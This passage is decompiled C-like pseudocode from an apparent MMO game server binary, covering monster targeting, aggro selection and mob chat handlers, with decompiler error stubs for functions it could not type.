*)v3->mtb_targetlist; LOBYTE(v6) = 1; List::l_4AllInList(v4, (ListIteratorDefault *)&mtac); v3->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v3->baseclass_0.mts_Current.distsquar = 0; LOBYTE(v6) = 0; MobTarget_AggroClear::_MobTarget_AggroClear(&mtac); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); } //----- (0047ADC0) -------------------------------------------------------- #error "47ADC0: undefined or illegal type '#331' (funcsize=44)" //----- (0047AE90) -------------------------------------------------------- #error "47AE90: undefined or illegal type '#331' (funcsize=66)" //----- (0047AF90) -------------------------------------------------------- void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this) { MobTarget_EnemyAnalysis *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_EnemyAnalysis::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5AC594: using guessed type int (__thiscall *MobTarget_EnemyAnalysis___vftable_)(MobTarget_EnemyAnalysis *this, int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0047B010) -------------------------------------------------------- char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle) { MobTarget_EnemyAnalysis *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::mtea_free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))v3->mtea_List->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); return 1; } //----- (0047B0B0) -------------------------------------------------------- #error "47B0B0: undefined or illegal type '#331' (funcsize=134)" //----- (0047B260) -------------------------------------------------------- #error "47B260: undefined or illegal type '#331' (funcsize=42)" //----- (0047B320) -------------------------------------------------------- #error "47B320: undefined or illegal type '#331' (funcsize=80)" //----- (0047B440) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); return 0; } //----- (0047B490) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // esi@1 AxialListIterator this; // [sp+8h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; AxialListIterator::AxialListIterator(&this); this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; v9 = a2; v10 = a3; v11 = 0; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v12) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, 500, 0, (int)&this, 1, 65535); v6 = v11; LOBYTE(v12) = 0; this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&this); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); return v6; } // 5AC3F4: using guessed type int (__stdcall *AxialListNearFriend___vftable_[2])(int, int, int distancesquar); //----- (0047B5A0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); return 0; } //----- (0047B5F0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, char inlist) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // edi@2 int v6; // edi@2 void *result; // eax@2 SkillDataBox::SkillDataIndex *v8; // eax@3 signed int v9; // ebx@4 unsigned __int16 *v10; // edi@4 int v11; // esi@10 char *v12; // [sp-4h] [bp-24h]@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(a2 + 8) + 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)v4 + 81) ) { case 1: v5 = (unsigned int)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1244))(v3) >> 1; v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3) < v5 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v6; break; case 2: v8 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v4 + 4)); if ( !v8 ) goto LABEL_11; v9 = 0; v10 = (unsigned __int16 *)v8->sdi_Abstate; while ( 1 ) { if ( *(_DWORD *)v10 != 391 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v10, &inlist); if ( !inlist ) break; } ++v9; v10 += 6; if ( v9 >= 4 ) { v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; goto LABEL_12; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = v3; break; case 4: v11 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad((char *)v3 + 204) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CanMyTarget"); result = (void *)v11; break; default: LABEL_11: v12 = "ShineObjectClass::ShineMob::so_mob_CanMyTarget"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); result = 0; break; } return result; } //----- (0047B7D0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); return 0; } //----- (0047B820) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_CanNPCTarget(void *this, int mobindex, int weaponnum) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // esi@1 int (__stdcall **alntf)(int, int, int); // [sp+8h] [bp-1Ch]@1 __int16 v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alntf); alntf = &AxialListNPCTargetFind::_vftable_; v9 = 188; v10 = 1; v11 = 0; LOBYTE(v12) = 1; v4 = *(_DWORD *)((char *)v3 + 78); v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, 500, 0, (int)&alntf, 0, 65535); v6 = v11; LOBYTE(v12) = 0; alntf = &AxialListNPCTargetFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alntf); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); return v6; } // 5AC3F8: using guessed type int (__stdcall *AxialListNPCTargetFind___vftable_)(int, int, int distancesquar); //----- (0047B930) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); return 0; } //----- (0047B980) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, char inlist) { void *v3; // esi@1 int v4; // ebx@1 int v5; // edx@1 int v6; // ebp@1 int v7; // edi@1 char v8; // bl@2 char v9; // al@2 FunctionProfiler::PerformanceRecorder *v10; // ecx@2 void *result; // eax@3 char v12; // bl@4 char v13; // al@4 char v14; // bl@6 SkillDataBox::SkillDataIndex *v15; // eax@7 signed int v16; // ebx@9 unsigned __int16 *v17; // edi@9 char v18; // bl@17 char v19; // al@17 void *v20; // ecx@17 int v21; // esi@18 int v22; // esi@19 char *v23; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v25; // [sp+1Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; v5 = *(_DWORD *)a2; v25 = 0; v6 = (*(int (__thiscall **)(int))(v5 + 1720))(a2); v7 = 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v6 + 8) + 12 * inlist) + 81) ) { case 0: v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2836))(v4); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2836))(v3); --funcallanalizer.fca_stackpoint; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v25 = -1; v10 = &_PerformanceRecorder; if ( v9 == v8 ) goto LABEL_14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = v3; break; case 1: v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2836))(v4); v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2836))(v3); --funcallanalizer.fca_stackpoint; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v25 = -1; v10 = &_PerformanceRecorder; if ( v13 != v12 ) goto LABEL_14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = v3; break; case 2: v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2836))(v4); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2836))(v3) == v14 ) goto $L148275; v15 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v6 + 8) + v7 + 4)); if ( !v15 ) { v25 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_15; } v16 = 0; v17 = (unsigned __int16 *)v15->sdi_Abstate; while ( 1 ) { if ( *(_DWORD *)v17 != 391 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v17, (char *)&a2); if ( !(_BYTE)a2 ) break; } ++v16; v17 += 6; if ( v16 >= 4 ) goto $L148275; } v25 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v3; break; default: $L148275: --funcallanalizer.fca_stackpoint; v25 = -1; v23 = "ShineObjectClass::ShineMob::so_ply_CanMyTarget"; v10 = &_PerformanceRecorder; LABEL_14: FunctionProfiler::PerformanceRecorder::pr_Exit(v10, v23); LABEL_15: result = 0; break; case 4: v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2836))(v4); v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2836))(v3); v20 = (char *)v3 + 204; if ( v19 == v18 ) { v22 = AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(v20) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = (void *)v22; } else { v25 = -1; v21 = AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(v20) != 0 ? (int)v3 : 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_ply_CanMyTarget"); result = (void *)v21; } break; } return result; } //----- (0047BC60) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, char inlist) { void *v3; // esi@1 signed int v4; // ebx@1 int v5; // eax@1 SkillDataBox::SkillDataIndex *v7; // eax@4 unsigned __int16 *v8; // edi@5 char *v9; // [sp-4h] [bp-24h]@2 char *v10; // [sp-4h] [bp-24h]@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = *(_DWORD *)((*(int (**)(void))(*(_DWORD *)a2 + 1720))() + 8) + 12 * inlist; switch ( *(_DWORD *)(*(_DWORD *)v5 + 81) ) { case 0: goto $L148326; case 2: v7 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v5 + 4)); if ( !v7 ) goto $L148323; v8 = (unsigned __int16 *)v7->sdi_Abstate; break; case 4: v3 = (void *)(AbnormalStateContainer::AbstateListInObject::asl_IsHereGood((char *)v3 + 204) != 0 ? (int)v3 : 0); $L148326: v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_3; default: $L148323: v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; goto LABEL_13; } do { if ( *(_DWORD *)v8 != 391 ) { List::l_GetInArray( (List *)((char *)v3 + 3684), *(_DWORD *)v8, (char *)&a2); if ( !(_BYTE)a2 ) { v9 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); return v3; } } ++v4; v8 += 6; } while ( v4 < 4 ); v10 = "ShineObjectClass::ShinePlayer::so_ply_CanMyTarget"; LABEL_13: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return 0; } //----- (0047BDD0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0047BE20) -------------------------------------------------------- #error "47BE20: undefined or illegal type '#331' (funcsize=38)" //----- (0047BEE0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #331 *mob) { MobTargetBout *v2; // esi@1 MobAggroManager *v3; // edi@1 unsigned __int16 v4; // bp@3 ListStruct *v5; // eax@4 unsigned __int16 v6; // dx@4 int v7; // eax@4 int v8; // eax@5 unsigned __int16 v9; // ax@7 int v10; // eax@9 ListStruct *v11; // eax@12 char v12; // cl@12 int v13; // eax@12 int v14; // eax@13 ListStruct *v15; // eax@17 char v16; // cl@17 int v17; // eax@17 int v18; // eax@18 int v19; // eax@23 int v20; // eax@24 unsigned __int16 v21; // cx@27 int v22; // eax@28 int v23; // eax@29 int v24; // eax@31 int v25; // eax@33 MobTargetStruct *mtb; // [sp+Ch] [bp-28h]@2 int maxaggro; // [sp+10h] [bp-24h]@1 MobTargetBout *v28; // [sp+14h] [bp-20h]@1 unsigned __int16 v29; // [sp+1Eh] [bp-16h]@1 v2 = this; v28 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mtb_targetlist; maxaggro = 0; v29 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; LABEL_2: mtb = 0; while ( 1 ) { v4 = v29; if ( v29 >= v3->baseclass_0.l_MaxSize ) break; v5 = v3->baseclass_0.l_Array; v6 = v5[v29].ls_Next; v7 = (int)&v5[v29]; v29 = v6; if ( *(_BYTE *)(v7 + 8) ) v8 = *(_DWORD *)v7; else v8 = 0; v9 = (*(int (**)(void))(**(_DWORD **)(v8 + 8) + 1716))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v9, MKID_MOB) || (v4 >= v3->baseclass_0.l_MaxSize || (v11 = v3->baseclass_0.l_Array, v12 = v11[v4].ls_IsActiv, v13 = (int)&v11[v4], !v12) ? (v14 = 0) : (v14 = *(_DWORD *)v13), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v14 + 8) + 40))()) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v10 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v10 + 8)) ) *(_DWORD *)(*(_DWORD *)v10 + 12) = 0; else vC = 0; } else { if ( v4 < v3->baseclass_0.l_MaxSize && (v15 = v3->baseclass_0.l_Array, v16 = v15[v4].ls_IsActiv, v17 = (int)&v15[v4], v16) ) v18 = *(_DWORD *)v17; else v18 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v18 + 8) + 988))(291) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v19 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v19 + 8)) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v20 + 8) + 988))(335) ) { v21 = v3->baseclass_0.l_MaxSize; if ( v4 < v21 && (v22 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; v24 = *(_DWORD *)(v23 + 12); if ( v24 > maxaggro ) { maxaggro = v24; if ( v4 >= v21 || (v25 = (int)&v3->baseclass_0.l_Array[v4], !*(_BYTE *)(v25 + 8)) ) goto LABEL_2; mtb = *(MobTargetStruct **)v25; } } } } } if ( mtb ) { v28->baseclass_0.mts_Current.target = mtb; } else { v28->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v28->baseclass_0.mts_Current.distsquar = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); } //----- (0047C110) -------------------------------------------------------- #error "47C110: undefined or illegal type '#331' (funcsize=291)" //----- (0047C4B0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this) { MobTargetBout *v1; // esi@1 List *v2; // ecx@1 ListIteratorDefault arg; // [sp+8h] [bp-14h]@1 List *v4; // [sp+Ch] [bp-10h]@1 int v5; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (List *)v1->mtb_targetlist; v5 = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v4 = v2; LOBYTE(v5) = 1; List::l_4AllInList(v2, &arg); --funcallanalizer.fca_stackpoint; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0047C570) -------------------------------------------------------- #error "47C570: undefined or illegal type '#331' (funcsize=270)" //----- (0047C8D0) -------------------------------------------------------- #error "47C8D0: undefined or illegal type '#331' (funcsize=91)" //----- (0047C9D0) -------------------------------------------------------- int __thiscall MobDataBox::operator int(MobDataBox *this) { return this->mdb_maxmobhandle + 1; } //----- (0047C9E0) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this) { return 1000000000; } //----- (0047C9F0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this) { this->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 5AC8C4: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (0047CA00) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Wander[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_WanderChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); } // 47CA00: inconsistent function type and number of purged bytes //----- (0047CAC0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Attack[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_AttackChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); } // 47CAC0: inconsistent function type and number of purged bytes //----- (0047CB80) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Damage[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DamageChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); } // 47CB80: inconsistent function type and number of purged bytes //----- (0047CC40) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Killed[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_KilledChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); } // 47CC40: inconsistent function type and number of purged bytes //----- (0047CD00) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int 